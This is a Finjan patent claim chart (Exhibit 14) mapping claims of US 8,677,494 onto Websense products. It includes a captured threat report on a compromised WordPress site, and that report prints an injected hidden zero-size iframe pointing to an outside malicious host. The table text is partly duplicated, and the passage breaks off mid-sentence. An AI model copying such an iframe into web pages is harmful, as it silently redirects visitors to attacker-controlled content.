

Exhibit 14

US 8,677,494	Websense Products
<p>The statements and documents cited below are solely provided by way of example and based on information available to Finjan, Inc. at the time this chart was created, and not to be used by way of limitation or for purposes of construing the claim terms. Finjan reserves its right to supplement this chart as additional information becomes known to it.</p> <p>For purposes of this chart, “Websense Products” refers to the following Websense applications or services: TRITON Products, Web Security Gateway Products, Data Security Products, the CyberSecurity Intelligence (“CSI”) Service, the ThreatSeeker Intelligence Cloud Service and TRITON® ThreatScope™. See http://www.websense.com/content/websense-products.aspx (explaining that while Websense appliances/products come in different forms or series, each Websense product is “built on the unified Websense TRITON® architecture, and use key Websense technologies including Websense ACE (Advanced Classification Engine) and the Websense ThreatSeeker® Intelligence Cloud.”)</p>	
Claim 1	
<p>1a. A computer processor-based method, comprising the steps of:</p>	<p>Websense Products meet the recited claim language because they perform a computer processor-based method, comprising the steps of.</p> <p>By the way of example, and not limitation, Websense Products meet the recited claim language because Websense Products operate the TRITON architecture which is executed on a processor. Additionally, CSI and the ThreatSeeker Intelligence Cloud Service both require processors.</p> <p>This is demonstrated in Websense’s public documents and at http://www.websense.com/content/websense-triton-security-products.aspx and http://www.websense.com/content/support.aspx.</p> <p>For example, the following Release Notes for the TRITON Unified Security Center (http://www.websense.com/content/support/library/shared/v78/triton_rnotes/v78_triton_rn.pdf at p. 2) describes hardware requirements for Web Security, Data Security, and Email Security managers, which all include the need for processors:</p>

	<div><div><div><div>Executive Summary</div><div><div>Threat Severity: Medium</div><div>Real-time security analysis: Malicious Web Sites</div></div><div><div>Classification</div><div>Real-time content analysis: Malicious Web Sites</div><div>Static Classification: Malicious Web Sites</div><div>Suggest a different classification ></div></div></div><div><div>Assessment Overview</div><div>The URL analyzed is currently compromised to serve malicious content to visitors.</div></div><div><div>Site Details</div><table><tr><td>IP Address</td><td>216.17.106.207</td><td>HTTP Status Code</td><td>200 OK</td></tr><tr><td>Hosted Country</td><td> United States</td><td>Trusted SSL Certificate</td><td>N/A</td></tr><tr><td>Bytes Received</td><td>183kb</td><td>Valid SSL Certificate</td><td>N/A</td></tr></table></div><div><div>Security Overview</div><div>Collapse all Show all</div><div><div>Real-time security identification</div><div>Review the specific threat identified within the URL or IP address.</div></div><div><div>Associated threat type</div><div>Shows the actual name and type of the security threat.</div><table><tr><th>Threat Name</th><th>Threat Type</th><th>Description</th><th>Additional Details</th></tr><tr><td>Injection,Redirection,Web.Generic</td><td>Injection</td><td>Redirection</td><td></td></tr></table></div><div><div>Malicious code detection</div><div>Highlights the code associated with the threats found at the URL or IP address.</div><div><div>Show Suspicious</div><div>Expand All</div><div>Header Only</div><div>Scripts Only</div><div>iFrames Only</div><div>Collapse All</div><div>Reset</div></div><div><pre><iframe src="http://bigzhopa.ftpl.biz/discount/justifies.php" width="0" height="0"></iframe> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>JENNYS </title> <meta name="generator" content="WordPress 2.1.2" /> <!-- leave this for stats --> <link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://www.jenny.com/feed-rss2" /> <link rel="alternate" type="text/xml" title="RSS .92" href="http://www.jenny.com/feed-rss" /> <link rel="alternate" type="application/atom+xml" title="atom 0.3" href="http://www.jenny.com/atom" /></pre></div></div></div></div></div>	IP Address	216.17.106.207	HTTP Status Code	200 OK	Hosted Country	United States	Trusted SSL Certificate	N/A	Bytes Received	183kb	Valid SSL Certificate	N/A	Threat Name	Threat Type	Description	Additional Details	Injection,Redirection,Web.Generic	Injection	Redirection	
IP Address	216.17.106.207	HTTP Status Code	200 OK																		
Hosted Country	United States	Trusted SSL Certificate	N/A																		
Bytes Received	183kb	Valid SSL Certificate	N/A																		
Threat Name	Threat Type	Description	Additional Details																		
Injection,Redirection,Web.Generic	Injection	Redirection																			
Claim 10																					
10a. A system for managing Downloadables, comprising:	<p>Websense Products meet the recited claim language because they contain a system for managing Downloadables.</p> <p>By the way of example, and not limitation, Websense Products meet the recited claim language because Websense Products operate the TRITON architecture which is a system for managing downloadables. Additionally, CSI and the ThreatSeeker Intelligence Cloud Service are systems for managing downloadables, including suspicious web content containing PDFs, obfuscated JavaScript and drive-by downloads.</p> <p>This is demonstrated in Websense’s public documents and at</p>																				